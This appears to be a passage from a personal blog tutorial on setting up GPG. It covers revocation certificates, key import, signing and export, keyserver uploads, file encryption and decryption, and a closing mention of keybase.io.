It is smart to print this certificate and store it away, just in case
your media become unreadable. But have some caution: The print system of
your machine might store the data and make it available to others!

With that revocation certificate, you can revoke your GPG key if it should become lost or compromised. For this reason, it’s critically important that you protect it just like your private key, otherwise someone could revoke your key without your knowledge.

chmod 600 ~/revocation.crt

A few commands follow:

    • Importing Other Users’ Public Keys
gpg --import name_of_pub_key_file
gpg --keyserver pgp.mit.edu --search-keys search_parameters
    • Fingerprint public key
gpg --fingerprint your_email@address.com
    • Sign the key, telling the software to trust it
gpg --sign-key email@example.com
    • Sending back the signed key
gpg --output ~/signed.key --export --armor email@example.com
    • They can then import it, adding the signature to their database
gpg --import ~/signed.key
    • To retrieve your public key
gpg --output ~/mygpg.key --armor --export your_email@address.com

Now for the good stuff. In order to encrypt messages, do the following:

gpg --encrypt --sign --armor -r person@email.com name_of_file

If you want to be able to read the message (you made it so theoretically you don’t need to do this) then add a second -r recipient
And in order to decrypt messages, it’s pretty simple:

gpg file_name.asc

There’s no point in having a key if other people don’t have your public key. An easy way to enable that is by submitting it to public key repositories, like below. At the time of writing, pgp.mit.edu seemed to be having some issues, so I instead uploaded to keyserver.ubuntu.com. The nice thing is these keyservers exchange their entries with one another, so it’ll make it to a number of places eventually. A solid list of keyservers can be found here.

gpg --list-keys your_email@address.com
pub 4096R/311B1F84 2013-10-04
uid Test User &lt;test.user@address.com&gt;
sub 4096R/8822A56A 2013-10-04

The 311B1F84 portion is your key’s ID

gpg --send-keys --keyserver pgp.mit.edu key_id

Now in the event that your key gets compromised or lost, you can use the revocation certificate that you created previously like so

gpg import revocation.crt
gpg --key-server pgp.mit.edu --send-keys key_id

List of keyservers: link

Now there’s a whole lot more to GPG than what I’ve written, and the link I posted at the beginning of this post is a good primer on a lot of it. My purpose is to get GPG up and running, and I think that that has been achieved!

As a side note, I’ll also mention keybase.io. Their whole deal seems to be lowering the bar to using GPG and simplifying the process of verifying peoples’ online identities. You can use it to encrypt and decrypt messages from a GUI, and can chat with other users while the encryption process happens in the background. They have also recently added a ‘teams’ functionality which seems to be a response to Slack, except since everyone has GPG keys, everything is encrypted. Check it out, and give me a follow while you’re at it.